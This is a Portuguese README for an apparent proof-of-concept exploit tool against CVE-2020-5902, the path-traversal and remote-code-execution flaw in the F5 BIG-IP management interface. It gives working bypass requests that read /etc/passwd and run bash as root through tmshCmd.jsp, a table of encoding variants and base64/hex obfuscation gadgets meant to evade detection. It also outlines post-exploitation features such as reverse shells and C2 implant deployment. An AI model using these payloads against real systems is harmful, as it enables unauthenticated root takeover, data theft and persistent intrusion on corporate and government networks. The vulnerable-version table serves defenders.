O F5 BIG-IP é uma plataforma de entrega e segurança de aplicações amplamente utilizada em ambientes corporativos. A CVE-2020-5902 é uma vulnerabilidade crítica no TMUI que, em versões não corrigidas, pode permitir acesso não autorizado e execução remota de código, reforçando a necessidade de atualização e gestão contínua de vulnerabilidades.
Prova de conceito para a vulnerabilidade crítica de path traversal / execução remota de código na Interface de Usuário de Gerenciamento de Tráfego (TMUI) do F5 BIG-IP.
⚠️ Apenas para testes de penetração autorizados e pesquisa de segurança. O uso não autorizado contra sistemas que você não possui ou não tem permissão por escrito para testar é ilegal. O autor não assume nenhuma responsabilidade pelo uso indevido desta ferramenta.
O F5 BIG-IP é uma família de appliances de rede multiuso (balanceadores de carga, WAFs, controladores de entrega de aplicações) implantada na maioria das empresas Fortune 500, instituições financeiras, organizações de saúde e agências governamentais em todo o mundo. A Interface de Usuário de Gerenciamento de Tráfego (TMUI) — também chamada de Utilitário de Configuração — é o portal de gerenciamento baseado na web acessível na porta 443 (ou 8443).
Em julho de 2020, a F5 divulgou a CVE-2020-5902, uma vulnerabilidade Crítica (CVSS 9.8) de path traversal não autenticado no TMUI que permite a um atacante remoto não autenticado:
Em dias após a divulgação pública, foi observada exploração em massa em produção, inclusive por agentes estatais.
O TMUI é construído sobre Apache Tomcat e utiliza um filtro servlet para aplicar autenticação em recursos protegidos. A vulnerabilidade reside na forma como o Tomcat analisa segmentos de caminho delimitados por ponto e vírgula (;).
A seguinte requisição ignora a autenticação completamente:
GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
Por que funciona:
/tmui/login.jsp (termina antes do ;) — que é a página de login pública — e permite a requisição./..;/ como uma path traversal (/../) antes de despachar.fileRead.jsp sem autenticação.┌──────────────────────────────────────────────────────────────────┐
│ Client Request │
│ GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp │
└────────────────────────────┬─────────────────────────────────────┘
│
┌───────────────▼───────────────┐
│ Tomcat Servlet Filter │
│ Sees: /tmui/login.jsp ✓ │
│ (public endpoint → ALLOW) │
└───────────────┬───────────────┘
│
┌───────────────▼───────────────┐
│ Tomcat URL Resolver │
│ Resolves: /..;/ → /../ │
│ Final path: /tmui/locallb/ │
│ workspace/fileRead.jsp ← 🔓 │
└───────────────┬───────────────┘
│
┌───────────────▼───────────────┐
│ fileRead.jsp (no auth check) │
│ Reads arbitrary files as root│
└───────────────────────────────┘
O servlet tmshCmd.jsp (também acessível através da mesma travessia) passa os parâmetros command e utilCmdArgs diretamente para tmsh (o shell de gerenciamento do BIG-IP), que envolve run util bash -c '...'. Isso fornece execução de comandos do sistema operacional como root não autenticada:
POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
command=run+util+bash+-c+'id'&utilCmdArgs=-c+'id'
Fase 1: Reconhecimento
└─ Captura de banner TCP (impressão digital HTTP/TLS)
└─ Análise de certificado SSL
└─ Impressão digital de cabeçalhos HTTP (Server, X-Powered-By, Set-Cookie)
└─ Estimativa da versão do BIG-IP a partir de /etc/f5-release
Fase 2: Verificação de Vulnerabilidade
└─ Iterar sobre 6 variantes de codificação de travessia
└─ Testar contra 4 arquivos sentinelas conhecidos como legíveis
└─ Confirmar saída corresponde a indicadores conhecidos (root:x:0:0, BIG-IP, etc.)
Fase 3: Exploração
├─ Vetor A: tmshCmd.jsp (RCE primário)
│ └─ Comando ofuscado via gadgets base64 / hex-encode
├─ Vetor B: fileRead.jsp + injeção de comando no parâmetro fileName
│ └─ Comando do SO injetado no parâmetro fileName
└─ Vetor C: Envenenamento de log (injeção User-Agent → ler access_log)
Fase 4: Pós-Exploração (opcional)
├─ Shell interativo (REPL de comandos)
├─ Reverse shell (4 one-liners concorrentes)
├─ LFI brute-force (30 caminhos sensíveis, paralelo)
└─ Implantação de implante C2 (Sliver / Metasploit / customizado)
| Variante | Payload |
|---|---|
| Padrão | tmui/login.jsp/..;/tmui/... |
| Ponto e vírgula codificado | tmui/login.jsp/..%3b/tmui/... |
| Dupla codificação URL | tmui%2flogin.jsp%2f..%3b%2ftmui%2f... |
| Unicode ponto-ponto | tmui/login.jsp/%2e%2e;/tmui/... |
| Variação de maiúsculas | TMUI/login.jsp/..;/tmui/... |
| Confusão de diretório | tmui/login.jsp/..;/tmui/locallb/workspace/../workspace/... |
A ferramenta aplica um de dois gadgets de ofuscação por execução, dificultando a detecção por assinatura estática:
# Gadget 1 — Pipeline de codificação/decodificação Base64
bash -c {echo,aWQ=}|{base64,-d}|bash
# Gadget 2 — Avaliação de printf em hex
eval "$(printf '\x69\x64')"
| Ramo BIG-IP | Faixa Vulnerável | Versão Corrigida |
|---|---|---|
| 15.x | < 15.1.0.4 | ≥ 15.1.0.4 |
| 14.x | < 14.1.2.6 | ≥ 14.1.2.6 |
| 13.x | < 13.1.3.4 | ≥ 13.1.3.4 |
| 12.x | < 12.1.5.2 | ≥ 12.1.5.2 |
| 11.x | < 11.6.5.2 | ≥ 11.6.5.2 |
BIG-IQ, BIG-IQ Centralized Management, F5OS e Traffix SDC não são afetados por esta CVE específica.
!revshell, !c2, !read, !brute